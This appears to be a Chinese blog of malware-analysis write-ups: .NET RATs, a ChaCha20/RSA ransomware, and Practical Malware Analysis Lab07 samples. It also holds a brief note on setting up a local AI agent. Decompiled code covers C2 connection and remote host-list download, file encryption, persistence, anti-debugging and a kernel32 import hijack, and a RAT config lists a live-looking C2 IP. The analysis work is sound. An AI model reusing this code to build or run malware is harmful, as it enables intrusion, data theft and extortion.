image-20260513214405285

依旧找到主函数这个是net结构拖进dnspy分析由于混淆比较轻就没管(就是一些函数名取地比较混乱)

image-20260513214539382

这个是主函数分为三个部分字符解密验证,木马运行,c2连接

解密验证

主要是这个函数rShUJoWxIfULR.gsItUfYUAszz

image-20260513214930426

可以看见上面的gsItUfYUAsz是用来解密ip,端口地址的至于下面的xViGYhhkCyrTQ是用来验证签名的(主要逻辑是用解密的公钥来rsa解密的结果和上面数据同时hash对比)

然后来看看上面的解密逻辑

image-20260513215348024

可以看见这里使用了aes256的cbc模式和HMAC-SHA256来检验

木马运行

image-20260513215719995

这个是运行逻辑分别是先检查一个木马运行,反调试检测,持久化设计,禁止终止进程

image-20260513215928275

这里看到用互斥体来保持一个运行程序

image-20260513220043682

这个用来反调试分别是反虚拟机,反调试,,判断内存大小来反沙箱,反xp系统

接下来看持久化设计

image-20260513222041250

先是获取目标文件如果有久的程序久停止然后如果是管理员权限就打开cmd然后用任务计划来自启动

image-20260513223608665

没有权限就加入开机自启目录

image-20260513223707372

然后创造新的文件将旧的复制进去,再写一个bat文本并运行,它重启新文件再删除自己,最后隐藏木马

image-20260513224853737

他是用来关闭连接和删除程序的(当环境不对时)

这个是禁止终止进程

image-20260513224421561

主要先提升权限设置当前程序的重要程度当强制终止时就蓝屏

c2连接

image-20260513225213926

image-20260513225337914

第一个时用来关闭各种协议的,第二是连上服务器的关键但是内容比较多我用代码和注释来解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public static void mckAnMrPneuzxANr()
{
try
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 51200,
SendBufferSize = 51200
};//tcp建立
if (rShUJoWxIfULR.mJRpWzfYptlR == "null")
{
string text = rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' }).Length)];
int num = Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' }).Length)]);//ip地址,端口拆分
if (liiyJozWhQGcm.lGcTzSsFKfoycD(text))
{
foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
{
try
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(ipaddress, num);
if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
{
break;
}
}
catch
{
}
}
}
else
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(text, num);
}
}//尝试用ip直连
else
{
using (WebClient webClient = new WebClient())
{
NetworkCredential networkCredential = new NetworkCredential("", "");
webClient.Credentials = networkCredential;
string[] array = webClient.DownloadString(rShUJoWxIfULR.mJRpWzfYptlR).Split(new string[] { ":" }, StringSplitOptions.None);
rShUJoWxIfULR.IwnXSYzJgOVYTMj = array[0];
rShUJoWxIfULR.eGvvAeHcGvsmgsOkug = array[new Random().Next(1, array.Length)];
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(rShUJoWxIfULR.IwnXSYzJgOVYTMj, Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug));
}
}//用名字链接来获取ip再联系服务器
if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
{
liiyJozWhQGcm.sMTGUDsWLFW = true;
liiyJozWhQGcm.AYswsEOoIgyT = new SslStream(new NetworkStream(liiyJozWhQGcm.qTXVqOEKvPlptUhe, true), false, new RemoteCertificateValidationCallback(liiyJozWhQGcm.JZXSVHgewuqAOe)); //跳过ssl检验
liiyJozWhQGcm.AYswsEOoIgyT.AuthenticateAsClient(liiyJozWhQGcm.qTXVqOEKvPlptUhe.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false);//tls加密
liiyJozWhQGcm.sEZsahAWzA = 4L;
liiyJozWhQGcm.usTxSbjkwLraBeu = new byte[liiyJozWhQGcm.sEZsahAWzA];
liiyJozWhQGcm.DMBgjrvDuLmnnF = 0L;
liiyJozWhQGcm.ALsFOGfDQIYEq(xzQgkqwNpJ.LXExWtOiUUtLe());//发送本机消息
liiyJozWhQGcm.ECWSXtkklGcnZ = 0;
liiyJozWhQGcm.fNRolwEdaLMWcm = false;
liiyJozWhQGcm.OcgqzeSEjnEmft = new Timer(new TimerCallback(liiyJozWhQGcm.NkXKBOZThWVSL), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));//心跳包
liiyJozWhQGcm.jPdfsrWDTFIim = new Timer(new TimerCallback(liiyJozWhQGcm.sbzatzMGJdJdc), null, 1, 1);//持续接受命令
liiyJozWhQGcm.AYswsEOoIgyT.BeginRead(liiyJozWhQGcm.usTxSbjkwLraBeu, (int)liiyJozWhQGcm.DMBgjrvDuLmnnF, (int)liiyJozWhQGcm.sEZsahAWzA, new AsyncCallback(liiyJozWhQGcm.GOShPGzCCNbAE), null);//接受命令
}
else
{
liiyJozWhQGcm.sMTGUDsWLFW = false;
}
}
catch
{
liiyJozWhQGcm.sMTGUDsWLFW = false;
}
}

结语:这个木马就分析完但是解密和流量分析都还没做有空做一下

最近研究了下ai agent本地部署的事,想要用国外的大模型还是比较麻烦

第一是用中转站open ai不稳定而且容易倒闭,

第二用集成的ai平台虽然比较稳定但是每个月要冲不少钱还不能本地化部署也很麻烦而且没有信誉较好的凭证容易删号跑路,

第三就是注册港澳电话卡获得国外的账户然后直接使用但每次的电话费用和要翻外网使用成本比较高和程序繁琐(有一个谷歌账号就好了)

第四使用本地开源模型一方面是我的笔记本负担不了那么多内存和开源模型大多没有那么先进

所以我想要可以agent代理模型调用方便,负担小就使用了openclaw和deepseek v4,再加上要一些图片读取使用豆包的1.8模型

接下来是安装步骤

1.用命令行安装openclaw(问ai)

2.去deepseek和火山引擎获得open api接口(记得看官方文档里面的curl和模型名)

3.用openclaw的命令安装deepseek和doubao(openclaw configure)local-model-custom provide-api配置

4.打开(openclaw gateway)用deepseek模型写python脚本调用豆包读取图片

下面是我布置成功的界面

image-20260513170903013

image-20260425170630680

这是一个勒索病毒

image-20260425170802329

主函数开头是一个获得私钥的处理

load_public_key();是主要逻辑函数

image-20260425171015999

这里是一个读取磁盘每个文件并加密的过程其中加密逻辑主要在process_directory(v28, v23, v16);中

末尾change_wallpaper_for_all_users();set_lock_screen_for_all_users();分别是替换壁纸和锁定壁纸

现在来看一下process_directory(v28, v23, v16);

image-20260427214521705

函数前面是为了开启线程,让循环加密的时候可以同时是机密多个文件

std::function<void ()(std::string const&)>::operator()(v5, a1);这个是加密的主要逻辑

image-20260425173322605

打开看可以看见有调用了v2函数但是函数调用的地址是偏移调用的所以必须动调来看

image-20260427214557897

接着可以看见又调用了__invoke_r

image-20260425173544172

又调用了__invoke_impl

image-20260425173745629

打开process_directory可以看见主要逻辑

image-20260425173837447

这里可以清楚的看见加密的主要用了lambda(std::string const&)#1}::operator() const(std::string const&)::{lambda(void)#1

我们直接搜索函数lambda(std::string const&)#1}::operator()

image-20260427214320773

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
__int64 __fastcall encrypt_file(__int64 a1, __int64 a2, __int64 a3)
{
const CHAR *v3; // rax
unsigned int v4; // ebx
LARGE_INTEGER v5; // rax
__int64 v6; // rax
DWORD v7; // ebx
void *v8; // rax
__int64 v10; // rbx
__int64 v11; // rdi
__int64 v12; // r12
__int64 v13; // rsi
__int64 v14; // rax
const void *v15; // rax
DWORD v16; // ebx
const void *v17; // rax
__int64 v18; // rbx
__int64 v19; // rax
const CHAR *v20; // rbx
const CHAR *v21; // rax
DWORD NumberOfBytesWritten; // [rsp+4Ch] [rbp-34h] BYREF
char v24[28]; // [rsp+50h] [rbp-30h] BYREF
DWORD NumberOfBytesRead; // [rsp+6Ch] [rbp-14h] BYREF
char v26[32]; // [rsp+70h] [rbp-10h] BYREF
int Buffer[2]; // [rsp+90h] [rbp+10h] BYREF
__int64 v28; // [rsp+98h] [rbp+18h] BYREF
DWORD v29; // [rsp+19Ch] [rbp+11Ch] BYREF
char v30[32]; // [rsp+1A0h] [rbp+120h] BYREF
char v31[32]; // [rsp+1C0h] [rbp+140h] BYREF
char v32[32]; // [rsp+1E0h] [rbp+160h] BYREF
LARGE_INTEGER FileSize; // [rsp+200h] [rbp+180h] BYREF
char v34; // [rsp+20Eh] [rbp+18Eh] BYREF
char v35; // [rsp+20Fh] [rbp+18Fh] BYREF
unsigned __int64 v36; // [rsp+210h] [rbp+190h] BYREF
__int64 v37; // [rsp+218h] [rbp+198h] BYREF
char v38; // [rsp+227h] [rbp+1A7h] BYREF
char *v39; // [rsp+228h] [rbp+1A8h]
char *v40; // [rsp+230h] [rbp+1B0h]
char *v41; // [rsp+238h] [rbp+1B8h]
DWORD nNumberOfBytesToRead[2]; // [rsp+240h] [rbp+1C0h]
unsigned __int64 QuadPart; // [rsp+248h] [rbp+1C8h]
LARGE_INTEGER v44; // [rsp+250h] [rbp+1D0h]
HANDLE hFile; // [rsp+258h] [rbp+1D8h]
__int64 v46; // [rsp+260h] [rbp+1E0h]
unsigned __int64 v47; // [rsp+268h] [rbp+1E8h]

v3 = (const CHAR *)std::string::c_str(a1);
hFile = CreateFileA(v3, 0xC0000000, 1u, 0i64, 3u, 0x80u, 0i64);
if ( hFile == (HANDLE)-1i64 )
{
return 0;
}
else if ( GetFileSizeEx(hFile, &FileSize)
&& ((v44 = FileSize, FileSize.QuadPart > 0x500000000ui64)
? (v5.QuadPart = 0x280000000i64)
: (LONGLONG)(v5 = v44),
(QuadPart = v5.QuadPart) != 0) )
{
v41 = &v34;
std::vector<unsigned char>::vector(v32, 12i64, &v34);
std::__new_allocator<unsigned char>::~__new_allocator(&v34);
v6 = std::vector<unsigned char>::data(v32);
randombytes_buf(v6, 12i64);
encrypt_key_rsa(v31, a2, a3);
if ( (unsigned __int8)std::vector<unsigned char>::empty(v31) )
{
CloseHandle(hFile);
v4 = 0;
}
else
{
v40 = &v35;
std::vector<unsigned char>::vector(v30, 0x800000i64, &v35);
std::__new_allocator<unsigned char>::~__new_allocator(&v35);
v47 = 0i64;
v46 = 0i64;
SetFilePointer(hFile, 0, 0i64, 0);
while ( v47 < QuadPart )
{
v36 = QuadPart - v47;
v37 = 0x800000i64;
*(_QWORD *)nNumberOfBytesToRead = *(_QWORD *)std::min<unsigned long long>(&v37, &v36);
NumberOfBytesRead = 0;
v7 = nNumberOfBytesToRead[0];
v8 = (void *)std::vector<unsigned char>::data(v30);
if ( !ReadFile(hFile, v8, v7, &NumberOfBytesRead, 0i64) || !NumberOfBytesRead )
break;
v39 = &v38;
std::vector<unsigned char>::vector(v24, NumberOfBytesRead, &v38);
std::__new_allocator<unsigned char>::~__new_allocator(&v38);
v10 = std::array<unsigned char,32ull>::data(a2);
v11 = std::vector<unsigned char>::data(v32);
v12 = NumberOfBytesRead;
v13 = std::vector<unsigned char>::data(v30);
v14 = std::vector<unsigned char>::data(v24);
crypto_stream_chacha20_xor_ic(v14, v13, v12, v11, v46, v10);
SetFilePointer(hFile, -NumberOfBytesRead, 0i64, 1u);
LODWORD(v10) = NumberOfBytesRead;
v15 = (const void *)std::vector<unsigned char>::data(v24);
WriteFile(hFile, v15, v10, &NumberOfBytesWritten, 0i64);
v46 += ((unsigned __int64)NumberOfBytesRead + 63) >> 6;
v47 += NumberOfBytesRead;
std::vector<unsigned char>::~vector(v24);
}
SetFilePointer(hFile, 0, 0i64, 2u);
v16 = std::vector<unsigned char>::size(v32);
v17 = (const void *)std::vector<unsigned char>::data(v32);
WriteFile(hFile, v17, v16, &v29, 0i64);
Buffer[0] = 1262836045;
Buffer[1] = std::vector<unsigned char>::size(v31);
v18 = std::vector<unsigned char>::end(v31);
v19 = std::vector<unsigned char>::begin(v31);
std::copy<__gnu_cxx::__normal_iterator<unsigned char *,std::vector<unsigned char>>,unsigned char *>(
v19,
v18,
&v28);
WriteFile(hFile, Buffer, 0x108u, &v29, 0i64);
CloseHandle(hFile);
std::operator+<char>(v26, a1, ".clear");
v20 = (const CHAR *)std::string::c_str(v26);
v21 = (const CHAR *)std::string::c_str(a1);
MoveFileExA(v21, v20, 1u);
v4 = 1;
std::string::~string(v26);
std::vector<unsigned char>::~vector(v30);
}
std::vector<unsigned char>::~vector(v31);
std::vector<unsigned char>::~vector(v32);
}
else
{
CloseHandle(hFile);
return 0;
}
return v4;
}

可以非常明白的看见加密逻辑,所有被加密的都会加上.clear,这个是分析等我看看能不能写一个解密器

image-20260423155713827

来看这个木马比上个稍微难一点

image-20260423160012069

可以看见这个代码中有大量的混淆先找到程序入口

image-20260423160442461

可以看到有混淆的存在来分析是非常困难的于是我就去搜索有没有相关工具可以去混淆

de4dot就是一个去混淆的好工具

image-20260423161244716

可以看见它生成了个clean文件

再打开看看

image-20260423161437355

可以看见混淆清理的非常干净

查看函数GForm0()

image-20260423161635809

1
2
3
4
5
6
7
protected override void OnLoad(EventArgs e)
{
base.Visible = false;
base.ShowInTaskbar = false;
this.method_1();
base.OnLoad(e);
}

其中method_1()是木马的主要逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public void method_1()
{
if (!GClass65.smethod_0())
{
Environment.Exit(1);
}
this.gclass1_0 = new GClass1(GClass65.string_5);
if (!this.gclass1_0.CreatedNew)
{
Environment.Exit(2);
}
Class19.smethod_4(Application.ExecutablePath);
GClass5 gclass = new GClass5();
if (this.IsInstallationRequired)
{
this.gclass1_0.Dispose();
try
{
gclass.method_1();
Environment.Exit(3);
return;
}
catch (Exception)
{
return;
}
}
try
{
gclass.method_0();
}
catch (Exception)
{
}
if (!GClass65.bool_6)
{
this.method_0();
}
if (GClass65.bool_3)
{
this.gclass46_0 = new GClass46();
this.gclass46_0.method_0();
}
Class27 @class = new Class27(new Class26().method_0(GClass65.string_1));
this.gclass31_0 = new GClass31(@class, GClass65.x509Certificate2_0);
this.gclass31_0.Event_1 += this.gclass31_0_ClientState;
this.method_2(this.gclass31_0);
this.gclass2_0 = new GClass2(this.gclass31_0);
this.gclass2_0.method_1();
new Thread(delegate
{
this.gclass31_0.method_15();
Environment.Exit(0);
}).Start();
}

GClass65是这个木马的初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static class GClass65
{
// Token: 0x06000295 RID: 661 RVA: 0x00058284 File Offset: 0x00056484
public static bool smethod_0()
{
if (string.IsNullOrEmpty(GClass65.string_0))
{
return false;
}
Class28 @class = new Class28(GClass65.string_7);
GClass65.string_8 = @class.method_2(GClass65.string_8);
GClass65.string_0 = @class.method_2(GClass65.string_0);
GClass65.string_1 = @class.method_2(GClass65.string_1);
GClass65.string_3 = @class.method_2(GClass65.string_3);
GClass65.string_4 = @class.method_2(GClass65.string_4);
GClass65.string_5 = @class.method_2(GClass65.string_5);
GClass65.string_6 = @class.method_2(GClass65.string_6);
GClass65.string_9 = @class.method_2(GClass65.string_9);
GClass65.string_10 = @class.method_2(GClass65.string_10);
GClass65.x509Certificate2_0 = new X509Certificate2(Convert.FromBase64String(@class.method_2(GClass65.string_11)));
GClass65.smethod_1();
return GClass65.smethod_2();

可以看到哪些关键数据是被method_2处理后在赋值

1
2
3
4
public string method_2(string input)
{
return Encoding.UTF8.GetString(this.method_3(Convert.FromBase64String(input)));
}

可以看到它先base64解码后再传给method_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public byte[] method_3(byte[] input)
{
if (input == null)
{
throw new ArgumentNullException("input can not be null.");
}
byte[] array6;
using (MemoryStream memoryStream = new MemoryStream(input))
{
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.KeySize = 256;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = this.byte_0;
using (HMACSHA256 hmacsha = new HMACSHA256(this.byte_1))
{
byte[] array = hmacsha.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
byte[] array2 = new byte[32];
memoryStream.Read(array2, 0, array2.Length);
if (!Class29.smethod_0(array, array2))
{
throw new CryptographicException("Invalid message authentication code (MAC).");
}
}
byte[] array3 = new byte[16];
memoryStream.Read(array3, 0, 16);
aesCryptoServiceProvider.IV = array3;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] array4 = new byte[memoryStream.Length - 16L + 1L];
byte[] array5 = new byte[cryptoStream.Read(array4, 0, array4.Length)];
Buffer.BlockCopy(array4, 0, array5, 0, array5.Length);
array6 = array5;
}
}
}
return array6;
}

这里可以看见先是给256aes加密设置了一下然后验证了hash值

				if (!Class29.smethod_0(array, array2))
				{
					throw new CryptographicException("Invalid message authentication code (MAC).");
				}

这个对比了hash值来确保木马没有被篡改,最后再aes256解密

RatonRAT

今天来分析一个基本的木马

了解了一下先在市面上的木马一般都是用c#写的所以用dnSpy分析

image-20260421215826092

首先要找到木马逻辑

在这个目录上可以看见系统文件和dnSpy的信息文件而主要逻辑是在client中

image-20260421215956793

展开client可以看见

其中Client.Raton是这个木马的主要逻辑

costura是用来将dll整合成exe文件

至于cilent.praperties是系统自动生成的不用理会

image-20260421220953053

在supervisor下有这这个木马的关键函数

1
2
3
4
5
6
7
8
9
10
private Task InfoStuff()
{
Supervisor.<InfoStuff>d__21 <InfoStuff>d__;
<InfoStuff>d__.<>t__builder = AsyncTaskMethodBuilder.Create();
<InfoStuff>d__.<>4__this = this;
<InfoStuff>d__.<>1__state = -1;
<InfoStuff>d__.<>t__builder.Start<Supervisor.<InfoStuff>d__21>(ref <InfoStuff>d__);
return <InfoStuff>d__.<>t__builder.Task;
}

这个函数调用了异步函数使木马可以在后台运行来窃取电脑信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Client.Raton.Supervisor
// Token: 0x06000076 RID: 118 RVA: 0x00008AC8 File Offset: 0x00006CC8
private void ResolveHostAndPort(out string host, out int port)
{
host = Config.ht;
port = Config.pt;
if (string.IsNullOrWhiteSpace(host))
{
return;
}
string text = host.Trim();
if (text.StartsWith("http://", StringComparison.OrdinalIgnoreCase))
{
text = text.Substring(7);
}
else if (text.StartsWith("https://", StringComparison.OrdinalIgnoreCase))
{
text = text.Substring(8);
}
int num = text.LastIndexOf(':');
if (num > 0 && num < text.Length - 1)
{
string text2 = text.Substring(0, num);
int num2;
if (int.TryParse(text.Substring(num + 1), out num2))
{
host = text2;
port = num2;
}
}
}

这个函数获取了黑客的ip等信息

1
2
3
4
5
6
7
8
9
10
11
// Client.Raton.Supervisor
// Token: 0x06000074 RID: 116 RVA: 0x000089C4 File Offset: 0x00006BC4
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
{
byte[] array = new byte[12];
BitConverter.GetBytes(1U).CopyTo(array, 0);
BitConverter.GetBytes(timeMs).CopyTo(array, 4);
BitConverter.GetBytes(intervalMs).CopyTo(array, 8);
socket.IOControl((IOControlCode)((ulong)-1744830460), array, null);
}

这个函数让木马保持活性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
using System;

// Token: 0x02000006 RID: 6
internal class Config
{
// Token: 0x04000022 RID: 34
public static string Version = "v3.5.0";

// Token: 0x04000023 RID: 35
public static string Mutex = "qkoxcbwHaoFUf4En5LVdu9W";

// Token: 0x04000024 RID: 36
public static int pt = Convert.ToInt32("4890");

// Token: 0x04000025 RID: 37
public static string ht = "170.205.31.216";

// Token: 0x04000026 RID: 38
public static bool Startup = Convert.ToBoolean("true");

// Token: 0x04000027 RID: 39
public static int Delay = Convert.ToInt32("0");

// Token: 0x04000028 RID: 40
public static bool ProcessCritical = Convert.ToBoolean("false");

// Token: 0x04000029 RID: 41
public static bool HideFile = Convert.ToBoolean("false");

// Token: 0x0400002A RID: 42
public static bool Box = Convert.ToBoolean("false");

// Token: 0x0400002B RID: 43
public static string BoxMsg = "Hello, i'm the description of your raton client message box";

// Token: 0x0400002C RID: 44
public static string BoxIcon = "No icon";

// Token: 0x0400002D RID: 45
public static bool UAC = Convert.ToBoolean("false");

// Token: 0x0400002E RID: 46
public static bool Assist = false;

// Token: 0x0400002F RID: 47
public static bool OpenWebsite = Convert.ToBoolean("false");

// Token: 0x04000030 RID: 48
public static string Website = "https://t.me/sillyisafed";

// Token: 0x04000031 RID: 49
public static bool VM = Convert.ToBoolean("false");

// Token: 0x04000032 RID: 50
public static string Tag = "Infected";

// Token: 0x04000033 RID: 51
public static string BoxTit = "Hello, im a title for your message box";

// Token: 0x04000034 RID: 52
public static bool HidProc = Convert.ToBoolean("false");

// Token: 0x04000035 RID: 53
public static bool UACBy = false;

// Token: 0x04000036 RID: 54
public static string Password = "";

// Token: 0x04000037 RID: 55
public static string Raw = "silly21";

// Token: 0x04000038 RID: 56
public static int Reconnect = Convert.ToInt32("3");

// Token: 0x04000039 RID: 57
public static bool Defender = Convert.ToBoolean("false");
}

这个类里包含了服务器的所有内容

来分析一下(恶意代码分析实战)中第7章的三个样本

Lab07-1

image-20260415232049895

这个是主代码这里直接创建了一个服务,然后这个服务的函数sub_401040就是服务的关键

image-20260415232348785

先是创建了一个互斥体让这个代码只运行一遍然后就是获取当前程序路径然后注册一个开机自启的服务(CreateServiceA)然后设置了一个在2100年创建一个20个线程

image-20260415232800167

利用szAgent(浏览器)向szurl(网址)不停的发送请求

这个病毒在每次开机的时候就会启用服务然后再2100年调用20个线程来循环轰炸一个网站

Lab07-2

image-20260415233332106

这个代码非常简单就是用com对象来执行恶意代码

这里其中clsid可以查表在调用函数的时候故意用函数偏移来使用函数而不是直接用函数名来反查杀,而psz更是关键常量储存了一个网址

Lab07-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
int __cdecl main(int argc, const char **argv, const char **envp)
{
HANDLE FileMappingA; // eax
_DWORD *v4; // esi
HANDLE FileA; // eax
HANDLE v6; // eax
const char **v7; // ebp
_DWORD *v8; // eax
const char *v9; // esi
_DWORD *v10; // ebx
int v11; // ebp
_DWORD *v12; // eax
unsigned int v13; // edi
int v14; // eax
int v15; // ecx
int v16; // edx
int v17; // esi
int v18; // edi
char *v19; // ebx
_DWORD *v20; // eax
const char **v21; // ecx
unsigned int v22; // edx
_DWORD *v23; // ebp
const char *v24; // edx
unsigned int v25; // kr08_4
char *v26; // eax
char *v27; // ebx
unsigned int v28; // kr10_4
bool v29; // cf
_WORD *v31; // [esp+10h] [ebp-44h]
unsigned __int16 *v32; // [esp+14h] [ebp-40h]
_DWORD *v33; // [esp+18h] [ebp-3Ch]
_DWORD *v34; // [esp+1Ch] [ebp-38h]
int v35; // [esp+20h] [ebp-34h]
_DWORD *v36; // [esp+24h] [ebp-30h]
int v37; // [esp+28h] [ebp-2Ch]
int i; // [esp+2Ch] [ebp-28h]
_DWORD *v39; // [esp+30h] [ebp-24h]
unsigned __int16 *v40; // [esp+34h] [ebp-20h]
char *v41; // [esp+38h] [ebp-1Ch]
int v42; // [esp+3Ch] [ebp-18h]
int v43; // [esp+44h] [ebp-10h]
int v44; // [esp+48h] [ebp-Ch]
HANDLE hObject; // [esp+4Ch] [ebp-8h]
HANDLE v46; // [esp+50h] [ebp-4h]
int argca; // [esp+58h] [ebp+4h]
const char **argva; // [esp+5Ch] [ebp+8h]
const char **argvb; // [esp+5Ch] [ebp+8h]

if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )
{
hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);//映射kernel32.dll
FileMappingA = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);
v4 = MapViewOfFile(FileMappingA, 4u, 0, 0, 0);
argca = (int)v4;
FileA = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);//映射Lab07-3.dll(恶意代码)
v46 = FileA;
if ( FileA == (HANDLE)-1 )
exit(0);
v6 = CreateFileMappingA(FileA, 0, 4u, 0, 0, 0);
if ( v6 == (HANDLE)-1 )
exit(0);
v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);
argva = v7;
if ( !v7 )
exit(0);
v41 = (char *)v4 + v4[15];
v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
v9 = &v7[15][(_DWORD)v7];
v10 = v8;
v36 = v8;
v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
v13 = *((_DWORD *)v9 + 31);
v39 = v12;
v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
qmemcpy((void *)v11, v10, v13);
v42 = v14;
v15 = v10[5];
*(_DWORD *)(v11 + 20) = v15;
*(_DWORD *)(v11 + 24) = v10[6];
*(_DWORD *)(v11 + 12) = v11 + 40 + v14;
v35 = v11 + 56;
strcpy((char *)(v11 + 40), "kerne132.dll");
*(_BYTE *)(v11 + 53) = BYTE1(dword_40301C);
*(_WORD *)(v11 + 54) = HIWORD(dword_40301C);
v16 = *(_DWORD *)(v11 + 20);
v17 = v11 + 56 + 4 * v16;
v18 = v11 + 56 + 8 * v16;
v44 = v17;
v43 = v18;
v19 = (char *)(16 * v15 + v11 + 56);
*(_DWORD *)(v11 + 28) = v11 + 56 + v14;
*(_DWORD *)(v11 + 36) = v17 + v14;
*(_DWORD *)(v11 + 32) = v18 + v14;
v20 = v36;
v21 = 0;
v22 = 0;
argvb = 0;
for ( i = 0; v22 < v20[5]; ++v34 )
{
if ( *v34 )
{
v37 = 0;
if ( v20[6] )
{
v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
v33 = v39;
v32 = v40;
do
{
if ( *v32 == v22 )
{
v24 = (const char *)sub_401040(*v33, v41, argca);
strcpy(v19, v24);
*v31 = (_WORD)argvb;
*(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
v25 = strlen(v24) + 1;
v26 = &v19[v25];
v27 = &v19[v25 + 9];
*v23 = &v26[v42];
*(_DWORD *)v26 = dword_403070;
*((_DWORD *)v26 + 1) = dword_403074;
v26[8] = byte_403078;
strcpy(v27, v24);
v28 = strlen(v24) + 1;
v20 = v36;
argvb = (const char **)((char *)argvb + 1);
v22 = i;
v19 = &v27[v28];
++v23;
++v31;
}
++v32;
v29 = (unsigned int)++v37 < v20[6];
++v33;
}
while ( v29 );
v21 = argvb;
v18 = v43;
v17 = v44;
}
}
i = ++v22;
}
CloseHandle(hObject);
CloseHandle(v46);
if ( !CopyFileA(ExistingFileName, NewFileName, 0) )//将生成Lab07-3.dll的名字改为kerne132d.dll
exit(0);
sub_4011E0(aC, 0);
}
return 0;
}

这串带吗就是引用kernel32.dll的代码和Lab07.dll的代码来生成kerne132.dll(主要是内存中以偏移的方法将原本的导出表和新的导出表生成kerne132.dll)

然后sub_4011E0(aC, 0);找到了c盘下所有exe文件并修改其中的导入表将kernel32.dll换为kerne132.dll然后每个exe加载的时候就直接加载kerne132.dll

image-20260416001949381

这个就是找到所有的exe文件的函数

image-20260416002045357

这个就是找到kernel32.dll的位置并替换的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include "pch.h"
typedef BOOL(WINAPI* WriteFileFuncPtr)(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
